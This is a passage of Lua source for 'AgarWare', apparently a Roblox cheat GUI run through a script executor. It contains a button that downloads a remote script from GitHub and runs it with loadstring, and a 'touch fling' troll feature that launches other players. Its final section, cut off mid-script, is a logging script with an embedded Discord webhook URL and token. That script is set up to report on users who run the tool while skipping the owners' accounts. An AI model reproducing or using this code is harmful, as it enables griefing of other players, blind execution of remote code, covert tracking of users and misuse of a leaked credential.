	TEMPLATE FOR SIMPLE STATS (updates every frame):
	
	setupStat({
		row = "YourRow",
		updateFunction = function()
			-- Your code to get the value
			local value = 123
			return "🔥 Your Stat: " .. value
		end
	})
	
	================================================================================
	
	TEMPLATE FOR SLOW STATS (updates every X seconds):
	
	setupStat({
		row = "YourRow",
		updateFunction = function()
			-- Your code to get the value
			local value = 456
			return "⚡ Your Stat: " .. value
		end,
		updateInterval = 5  -- Update every 5 seconds
	})
	
	================================================================================
	
	EXAMPLE - FPS Counter:
	
	setupStat({
		row = "FPSRow",
		updateFunction = function()
			local fps = math.round(1 / RunService.Heartbeat:Wait())
			return "🎮 FPS: " .. fps
		end
	})
	
	================================================================================
	
	EXAMPLE - Server Age:
	
	local serverCreatedTime = os.time()
	
	setupStat({
		row = "ServerAgeRow",
		updateFunction = function()
			local age = os.time() - serverCreatedTime
			local hours = math.floor(age / 3600)
			return "📅 Server Age: " .. hours .. "h"
		end,
		updateInterval = 60  -- Update every minute
	})
	
	================================================================================
	
	EXAMPLE - Memory Usage:
	
	setupStat({
		row = "MemoryRow",
		updateFunction = function()
			local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb())
			return "💾 Memory: " .. memory .. "MB"
		end,
		updateInterval = 2  -- Update every 2 seconds
	})
	
	================================================================================
	]]
	
	-- PASTE YOUR NEW STATS BELOW THIS LINE
	-- ============================================================
	
	
	
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			-- All connections auto-disconnect when script is destroyed
		end
	end)
end;
task.spawn(C_2e1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects
local function C_2e5()
local script = G2L["2e5"];
	local textLabel = script.Parent
	
	local TweenService = game:GetService("TweenService")
	
	while true do
		-- Fade to 0.5
		local fadeOut = TweenService:Create(
			textLabel,
			TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
			{TextTransparency = 0.5}
		)
		fadeOut:Play()
		fadeOut.Completed:Wait()
	
		-- Fade back to 0
		local fadeIn = TweenService:Create(
			textLabel,
			TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
			{TextTransparency = 0}
		)
		fadeIn:Play()
		fadeIn.Completed:Wait()
	end
end;
task.spawn(C_2e5);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script
local function C_2e7()
local script = G2L["2e7"];
	local executeBtn = script.Parent:FindFirstChild("executebutton")
	if not executeBtn then return end
	
	local originalText = executeBtn.Text
	local SCRIPT_URL = "https://raw.githubusercontent.com/agarvsocooolsmith/Scripts/refs/heads/main/AGARWAREV3.lua"
	
	executeBtn.MouseButton1Click:Connect(function()
		executeBtn.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				executeBtn.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				executeBtn.Text = originalText
			else
				executeBtn.Text = "FAILED TO EXECUTE"
				task.wait(3)
				executeBtn.Text = originalText
			end
		end)
	end)
end;
task.spawn(C_2e7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript
local function C_2ec()
local script = G2L["2ec"];
	local UpLogsGroup = script.Parent
	local UpLogsMinimize = UpLogsGroup.UpLogsTitle.UpLogsMinimize
	local ScrollingFrame = UpLogsGroup:FindFirstChild("ScrollingRow")
	
	if ScrollingFrame then
		ScrollingFrame = ScrollingFrame:FindFirstChild("ScrollingFrame")
		if ScrollingFrame then
			ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
		end
	end
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(UpLogsGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = UpLogsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	UpLogsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			UpLogsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			UpLogsMinimize.Text = "+"
		else
			UpLogsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			UpLogsMinimize.Text = "-"
	
			-- Reset scroll to top when expanding
			if ScrollingFrame then
				ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
			end
		end
	end)
end;
task.spawn(C_2ec);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript
local function C_30f()
local script = G2L["30f"];
	-- ============================================================
	-- TCO GROUP MASTER SCRIPT
	-- Place this script directly under TCOGroup
	-- Handles minimize, place detection, and all stat displays
	-- ============================================================
	
	local RunService = game:GetService("RunService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local Workspace = game:GetService("Workspace")
	
	local TCOGroup = script.Parent
	local TCOMinimize = TCOGroup.TCOTitle.TCOMinimize
	
	-- ============================================================
	-- TCO PLACE DETECTION
	-- Destroys the group if not in a TCO game
	-- ============================================================
	local TCO_PLACES = {11137575513, 12943245078, 12943247001, 108097274488844}
	local SPECIAL_PLACE_ID = 108097274488844
	
	local function isTCOGame()
		for _, placeId in pairs(TCO_PLACES) do
			if game.PlaceId == placeId then
				return true
			end
		end
		return false
	end
	
	-- Destroy TCOGroup if not in a TCO game
	if not isTCOGame() then
		TCOGroup:Destroy()
		return
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(TCOGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = TCOGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	TCOMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			TCOGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			TCOMinimize.Text = "+"
		else
			TCOGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			TCOMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- ADMIN DISPLAY
	-- Shows current admins on the admin/chosen team
	-- ============================================================
	local AdminRow = TCOGroup:FindFirstChild("AdminRow")
	if AdminRow then
		local AdminText = AdminRow:FindFirstChild("Text")
	
		if AdminText then
			local function getAdmins()
				local teamName = (game.PlaceId == SPECIAL_PLACE_ID) and "Admin" or "Chosen"
				local adminTeam = Teams:FindFirstChild(teamName)
				if not adminTeam then
					return {}
				end
	
				local admins = {}
				for _, player in pairs(Players:GetPlayers()) do
					if player.Team == adminTeam then
						table.insert(admins, player.DisplayName)
					end
				end
				return admins
			end
	
			local function updateAdminDisplay()
				local admins = getAdmins()
				if #admins == 0 then
					AdminText.Text = "👤 Admin: N/A"
				else
					AdminText.Text = "👤 Admin: " .. table.concat(admins, ", ")
				end
			end
	
			-- Update every heartbeat
			RunService.Heartbeat:Connect(function()
				updateAdminDisplay()
			end)
	
			-- Initial update
			updateAdminDisplay()
		end
	end
	
	-- ============================================================
	-- BLOCK COUNT DISPLAY
	-- Counts total blocks/cubes in the game
	-- ============================================================
	local BlockCountRow = TCOGroup:FindFirstChild("BlockCountRow")
	if BlockCountRow then
		local BlockCountText = BlockCountRow:FindFirstChild("Text")
	
		if BlockCountText then
			local function countBricks()
				local folderName, itemNames
	
				if game.PlaceId == SPECIAL_PLACE_ID then
					-- Special game: check Cubes folder for "Cube" and "Sign"
					folderName = "Cubes"
					itemNames = {"Cube", "Sign"}
				else
					-- Normal game: check Bricks folder for "Brick"
					folderName = "Bricks"
					itemNames = {"Brick"}
				end
	
				local folder = Workspace:FindFirstChild(folderName)
				if not folder then
					return 0
				end
	
				local totalCount = 0
				for _, descendant in pairs(folder:GetDescendants()) do
					for _, itemName in pairs(itemNames) do
						if descendant.Name == itemName then
							totalCount = totalCount + 1
							break
						end
					end
				end
	
				return totalCount
			end
	
			local function updateBlockDisplay()
				local count = countBricks()
				BlockCountText.Text = "🧱 Total Blocks: " .. tostring(count)
			end
	
			-- Update every heartbeat
			RunService.Heartbeat:Connect(function()
				updateBlockDisplay()
			end)
	
			-- Initial update
			updateBlockDisplay()
		end
	end
	
	-- ============================================================
	-- ENLIGHTEN DISPLAY
	-- Counts players with The Arkenstone (excluding admins)
	-- ============================================================
	local EnlightenRow = TCOGroup:FindFirstChild("EnlightenRow")
	if EnlightenRow then
		local EnlightenText = EnlightenRow:FindFirstChild("Text")
	
		if EnlightenText then
			local function getEnlightenedCount()
				local count = 0
				local chosenTeam = Teams:FindFirstChild("Chosen")
	
				for _, player in pairs(Players:GetPlayers()) do
					-- Skip players on Chosen team (admins)
					if chosenTeam and player.Team == chosenTeam then
						continue
					end
	
					local hasArkenstone = false
	
					-- Check backpack
					local backpack = player:FindFirstChild("Backpack")
					if backpack and backpack:FindFirstChild("The Arkenstone") then
						hasArkenstone = true
					end
	
					-- Check character in workspace
					if not hasArkenstone then
						local character = Workspace:FindFirstChild(player.Name)
						if character and character:FindFirstChild("The Arkenstone") then
							hasArkenstone = true
						end
					end
	
					if hasArkenstone then
						count = count + 1
					end
				end
	
				return count
			end
	
			local function updateEnlightenDisplay()
				local count = getEnlightenedCount()
				EnlightenText.Text = "🌟 Enlighten Users: " .. tostring(count)
			end
	
			-- Update every heartbeat
			RunService.Heartbeat:Connect(function()
				updateEnlightenDisplay()
			end)
	
			-- Initial update
			updateEnlightenDisplay()
		end
	end
	
	-- ============================================================
	-- TOTAL TIME DISPLAY
	-- Shows combined time from all players' leaderstats
	-- ============================================================
	local TotalTimeRow = TCOGroup:FindFirstChild("TotalTimeRow")
	if TotalTimeRow then
		local TotalTimeText = TotalTimeRow:FindFirstChild("Text")
	
		if TotalTimeText then
			local function getTotalTime()
				local totalTime = 0
	
				for _, player in pairs(Players:GetPlayers()) do
					local leaderstats = player:FindFirstChild("leaderstats")
					if leaderstats then
						local timeValue = leaderstats:FindFirstChild("Time")
						if timeValue and (timeValue:IsA("IntValue") or timeValue:IsA("NumberValue")) then
							totalTime = totalTime + timeValue.Value
						end
					end
				end
	
				return totalTime
			end
	
			local function updateTotalTimeDisplay()
				local total = getTotalTime()
				if total == 0 then
					TotalTimeText.Text = "🕛 All Time: N/A"
				else
					TotalTimeText.Text = "🕛 All Time: " .. tostring(total)
				end
			end
	
			-- Update every heartbeat
			RunService.Heartbeat:Connect(function()
				updateTotalTimeDisplay()
			end)
	
			-- Initial update
			updateTotalTimeDisplay()
		end
	end
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			-- All connections auto-disconnect when script is destroyed
		end
	end)
end;
task.spawn(C_30f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript
local function C_313()
local script = G2L["313"];
	-- TCO Game Label Script
	local TextLabel = script.Parent
	
	local PLACES = {
		[11137575513]     = "TCO",
		[12943245078]     = "TCO (XL)",
		[12943247001]     = "TCO (VC)",
		[108097274488844] = "TCO (OG)"
	}
	
	-- Set the text based on current PlaceId
	local placeText = PLACES[game.PlaceId] or "TCO"
	TextLabel.Text = placeText
end;
task.spawn(C_313);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript
local function C_321()
local script = G2L["321"];
	local FlingGroup = script.Parent
	local FlingMinimize = FlingGroup.FlingTitle.FlingMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(FlingGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = FlingGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	FlingMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			FlingGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			FlingMinimize.Text = "+"
		else
			FlingGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			FlingMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_321);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript
local function C_329()
local script = G2L["329"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	local TouchFlingRow = script.Parent
	local TouchFlingTickBox = TouchFlingRow.TouchFlingTickBox
	local FlingGroup = TouchFlingRow.Parent
	local FlingAccentColor = FlingGroup.FlingAccentColor
	
	local isEnabled = false
	local movel = 0.1
	
	TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	
	local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Walk into players to fling them. Turn on Anti-Fling while using touch fling."
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	
	TouchFlingTickBox.MouseEnter:Connect(function()
		local abs = TouchFlingTickBox.AbsolutePosition
		local size = TouchFlingTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	TouchFlingTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- TOUCH FLING
	-- ============================================================
	local function fling()
		while isEnabled do
			RunService.Heartbeat:Wait()
			local c = LocalPlayer.Character
			local hrp = c and c:FindFirstChild("HumanoidRootPart")
	
			if hrp then
				local vel = hrp.Velocity
				hrp.Velocity = vel * 15000 + Vector3.new(0, 15000, 0)
				RunService.RenderStepped:Wait()
				hrp.Velocity = vel
				RunService.Stepped:Wait()
				hrp.Velocity = vel + Vector3.new(0, movel, 0)
				movel = -movel
			end
		end
	end
	
	-- ============================================================
	-- ENABLE / DISABLE
	-- ============================================================
	local function enable()
		isEnabled = true
		TouchFlingTickBox.BackgroundColor3 = FlingAccentColor.BackgroundColor3
		task.spawn(fling)
	end
	
	local function disable()
		isEnabled = false
		TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	end
	
	-- ============================================================
	-- TICKBOX TOGGLE
	-- ============================================================
	TouchFlingTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disable()
		else
			enable()
		end
	end)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_329);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip
local function C_32d()
local script = G2L["32d"];
	local FlingTypeRow = script.Parent
	local FlingTypeHelp = FlingTypeRow.FlingTypeHelp
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "FlingTypeTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Adding soon, wont be working that this moment. (RED = ADDING SOON)"
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.AutomaticSize = Enum.AutomaticSize.Y
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	FlingTypeHelp.MouseEnter:Connect(function()
		local abs = FlingTypeHelp.AbsolutePosition
		local size = FlingTypeHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	FlingTypeHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_32d);
-- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript
local function C_337()
local script = G2L["337"];
	-- ============================================================
	-- TOP BAR SCRIPT (Combined Drag + Title)
	-- Place this script under TopBar
	-- Handles: Dragging, Minimize, FPS/Player/Status Display
	-- ============================================================
	
	local RunService = game:GetService("RunService")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local TopBar = script.Parent
	local MainFrame = TopBar.Parent
	local MinimizeButton = TopBar.MinimizeGUI
	local Title = TopBar.TITLE
	local CoreGui = game:GetService("CoreGui")
	local AgarWareGui = CoreGui:WaitForChild("AgarWareGui")
	
	-- ============================================================
	-- DRAGGING
	-- ============================================================
	MainFrame.Draggable = true
	MainFrame.Active = true
	
	-- ============================================================
	-- MINIMIZE
	-- ============================================================
	local SideBar = MainFrame.SideBar
	local ContentArea = MainFrame.ContentArea
	local isMinimized = false
	local originalMainFrameSize = MainFrame.Size
	
	local function toggleMinimize()
		isMinimized = not isMinimized
		if isMinimized then
			SideBar.Visible = false
			ContentArea.Visible = false
			MainFrame.Size = UDim2.new(0, 450, 0, 25)
			MinimizeButton.Text = "+"
		else
			SideBar.Visible = true
			ContentArea.Visible = true
			MainFrame.Size = originalMainFrameSize
			MinimizeButton.Text = "-"
		end
	end
	
	MinimizeButton.MouseButton1Click:Connect(toggleMinimize)
	
	-- ============================================================
	-- TITLE DISPLAY
	-- ============================================================
	local isLoadingScripts = false
	local loadingProgress = 0
	local loadingStartTime = 0
	local loadingDuration = 0
	local showLoadedMessage = false
	local loadedMessageStartTime = 0
	
	local TCO_PLACE_IDS = {
		11137575513,
		12943245078,
		12943247001,
		108097274488844,
	}
	
	local function isTCO()
		for _, id in ipairs(TCO_PLACE_IDS) do
			if game.PlaceId == id then return true end
		end
		return false
	end
	
	local function getMyTime()
		local ls = LocalPlayer:FindFirstChild("leaderstats")
		local t = ls and ls:FindFirstChild("Time")
		return t and t.Value or nil
	end
	
	-- Listen for SaveScripts loading progress
	task.spawn(function()
		local LoadingProgress = AgarWareGui:WaitForChild("SaveScriptsLoadingProgress", 5)
		if LoadingProgress then
			LoadingProgress.Event:Connect(function(progress)
				if progress == 0 then
					isLoadingScripts = true
					loadingProgress = 0
					loadingStartTime = tick()
					showLoadedMessage = false
				elseif progress == 100 then
					loadingProgress = 100
					isLoadingScripts = false
					if not showLoadedMessage then
						loadingDuration = tick() - loadingStartTime
						showLoadedMessage = true
						loadedMessageStartTime = tick()
					end
				else
					loadingProgress = progress
				end
			end)
		end
	end)
	
	-- FPS smoothing
	local smoothedFPS = 60
	local smoothing = 0.05
	local lastTime = tick()
	
	RunService.RenderStepped:Connect(function()
		local now = tick()
		local deltaTime = now - lastTime
		lastTime = now
		local currentFPS = 1 / deltaTime
		smoothedFPS = smoothedFPS + (currentFPS - smoothedFPS) * smoothing
	
		local text
	
		if isLoadingScripts then
			text = string.format("AGAR WARE | loading previous scripts: %.1f%%", loadingProgress)
		elseif showLoadedMessage and (tick() - loadedMessageStartTime) < 3 then
			text = string.format("AGAR WARE | auto loaded scripts: %.2fs", loadingDuration)
		else
			showLoadedMessage = false
	
			-- Get ping
			local pingInSeconds = LocalPlayer:GetNetworkPing()
			local ping = math.round(pingInSeconds * 1000)
	
			text = string.format(
				"AGAR WARE | fps: %.1f | ping: %dms | players: %d",
				smoothedFPS,
				ping,
				#Players:GetPlayers()
			)
	
			if isTCO() then
				local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
				local backpack = LocalPlayer:FindFirstChild("Backpack")
				local char = workspace:FindFirstChild(LocalPlayer.Name)
				local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone"))
					or (char and char:FindFirstChild("The Arkenstone"))
				local isAdmin = chosenTeam and LocalPlayer.Team == chosenTeam
	
				if isAdmin then
					text = text .. " | Admin"
				elseif hasArken then
					text = text .. " | Enlightened"
				else
					text = text .. " | Neutral"
				end
			end
		end
	
		Title.Text = text:gsub("AGAR WARE", '<font color="rgb(0,123,255)">AGAR WARE</font>')
	end)
end;
task.spawn(C_337);
-- StarterGui.AgarWareGui.KeybindFrame.KeybindScript
local function C_33b()
local script = G2L["33b"];
	-- ============================================================
	-- KEYBIND FRAME MASTER SCRIPT
	-- Place this script directly under KeybindFrame
	-- Handles: BringGUI, Dragging, Hide/Show GUI, Lock/Unlock GUI
	-- ============================================================
	
	local UserInputService = game:GetService("UserInputService")
	
	local KeybindFrame = script.Parent
	local ScreenGui = KeybindFrame.Parent
	local MainFrame = ScreenGui:FindFirstChild("MainFrame")
	
	-- ============================================================
	-- BRING GUI (Recenter MainFrame)
	-- ============================================================
	local BringGUI = KeybindFrame:FindFirstChild("BringGUI")
	if BringGUI and MainFrame then
		BringGUI.MouseButton1Click:Connect(function()
			MainFrame.AnchorPoint = Vector2.new(0.5, 0)
			MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150)
		end)
	end
	
	-- ============================================================
	-- DRAG FUNCTIONALITY (Mobile & Desktop Support)
	-- ============================================================
	local DragButton = KeybindFrame:FindFirstChild("DragGUI")
	if DragButton then
		local dragging = false
		local dragStart = nil
		local startPos = nil
		local dragInput = nil
	
		local function updateDrag(input)
			local delta = input.Position - dragStart
			KeybindFrame.Position = UDim2.new(
				startPos.X.Scale,
				startPos.X.Offset + delta.X,
				startPos.Y.Scale,
				startPos.Y.Offset + delta.Y
			)
		end
	
		DragButton.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				dragging = true
				dragStart = input.Position
				startPos = KeybindFrame.Position
				dragInput = input
	
				input.Changed:Connect(function()
					if input.UserInputState == Enum.UserInputState.End then
						dragging = false
						dragInput = nil
					end
				end)
			end
		end)
	
		DragButton.InputChanged:Connect(function(input)
			if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
				updateDrag(input)
			end
		end)
	
		DragButton.InputEnded:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				dragging = false
				dragInput = nil
			end
		end)
	end
	
	-- ============================================================
	-- HIDE/SHOW GUI FUNCTIONALITY
	-- ============================================================
	local HideGUIButton = KeybindFrame:FindFirstChild("HideGUI")
	if HideGUIButton and MainFrame then
		local TopBar = MainFrame:FindFirstChild("TopBar")
		local MinimizeButton = TopBar and TopBar:FindFirstChild("MinimizeGUI")
	
		local isHidden = false
		local savedMainFramePosition = nil
		local savedMainFrameSize = nil
		local savedMinimizeState = false
		local savedSideBarVisible = nil
		local savedContentAreaVisible = nil
		local savedMinimizeButtonText = nil
	
		local function getMinimizeState()
			local SideBar = MainFrame:FindFirstChild("SideBar")
			local ContentArea = MainFrame:FindFirstChild("ContentArea")
	
			if SideBar and ContentArea then
				if not SideBar.Visible and not ContentArea.Visible then
					return true
				end
			end
			return false
		end
	
		local function toggleHideGUI()
			isHidden = not isHidden
	
			if isHidden then
				-- Save current state before hiding
				savedMainFramePosition = MainFrame.Position
				savedMainFrameSize = MainFrame.Size
				savedMinimizeState = getMinimizeState()
	
				local SideBar = MainFrame:FindFirstChild("SideBar")
				local ContentArea = MainFrame:FindFirstChild("ContentArea")
	
				if SideBar then savedSideBarVisible = SideBar.Visible end
				if ContentArea then savedContentAreaVisible = ContentArea.Visible end
				if MinimizeButton then savedMinimizeButtonText = MinimizeButton.Text end
	
				-- Hide MainFrame
				MainFrame.Visible = false
				HideGUIButton.Text = "Show GUI"
			else
				-- Show MainFrame and restore state
				MainFrame.Visible = true
				MainFrame.Position = savedMainFramePosition
				MainFrame.Size = savedMainFrameSize
	
				local SideBar = MainFrame:FindFirstChild("SideBar")
				local ContentArea = MainFrame:FindFirstChild("ContentArea")
	
				-- Restore minimize state
				if savedMinimizeState then
					if SideBar then SideBar.Visible = false end
					if ContentArea then ContentArea.Visible = false end
					MainFrame.Size = UDim2.new(0, 450, 0, 25)
					if MinimizeButton then MinimizeButton.Text = "+" end
				else
					if SideBar then SideBar.Visible = savedSideBarVisible end
					if ContentArea then ContentArea.Visible = savedContentAreaVisible end
					if MinimizeButton then MinimizeButton.Text = savedMinimizeButtonText or "-" end
				end
	
				HideGUIButton.Text = "Hide GUI"
			end
		end
	
		HideGUIButton.MouseButton1Click:Connect(toggleHideGUI)
	end
	
	-- ============================================================
	-- LOCK/UNLOCK GUI FUNCTIONALITY
	-- ============================================================
	local LockGUIButton = KeybindFrame:FindFirstChild("LockGUI")
	if LockGUIButton and MainFrame then
		local isLocked = false
	
		local function toggleLockGUI()
			isLocked = not isLocked
	
			if isLocked then
				-- Lock the GUI
				MainFrame.Draggable = false
				LockGUIButton.Text = "Unlock GUI"
			else
				-- Unlock the GUI
				MainFrame.Draggable = true
				LockGUIButton.Text = "Lock GUI"
			end
		end
	
		LockGUIButton.MouseButton1Click:Connect(toggleLockGUI)
	end
	
	-- ============================================================
	-- ADD MORE KEYBIND FEATURES HERE
	-- ============================================================
	
	--[[
	TEMPLATE FOR NEW BUTTON:
	
	local YourButton = KeybindFrame:FindFirstChild("YourButton")
	if YourButton then
		YourButton.MouseButton1Click:Connect(function()
			-- Your code here
		end)
	end
	
	================================================================================
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			-- All connections auto-disconnect
		end
	end)
end;
task.spawn(C_33b);
-- StarterGui.AgarWareGui.Webhook.IngameLog
local function C_34c()
local script = G2L["34c"];
	-- SCRIPT 1: Owner notification webhook (with alt account support)
	local _WH = {}
	do
		local _HttpService     = game:GetService("HttpService")
		local _Players         = game:GetService("Players")
		local _MarketplaceSvc  = game:GetService("MarketplaceService")
		local _StatsService    = game:GetService("Stats")
		local _InputService    = game:GetService("UserInputService")
		local _LocaleSvc       = game:GetService("LocalizationService")
		local _AnalyticsSvc    = game:GetService("RbxAnalyticsService")
		local _WEBHOOK = "https://discordapp.com/api/webhooks/1489975536565354546/yyLl4aX8naHHAzgVDCPiMA6e9YToWa3tGgHv1MRMyoWtwrybbKD4g9UPY_q35h17s2CU"
		local _DISCORD_USER_ID = "1301477323090034731"
	
		-- Main owner IDs (won't be logged when they execute)
		local OWNER_IDS = {
			574381128,
			10587072700,
			8308247571,
			10837544781,
		}
	
		-- Alt account that WILL be logged and trigger notifications
		local ALT_ACCOUNT = 10606010708
	
		local _PLACES = {
			[11137575513]    = {label = "Main", color = 0x00be09},
			[12943245078]    = {label = "XL",   color = 0xbebf00},
			[12943247001]    = {label = "VC",   color = 0x0072bf},
			[108097274488844] = {label = "OG",  color = 0x000000}
		}
		local _req = (syn and syn.request)
			or request
			or http_request
			or (fluxus and fluxus.request)
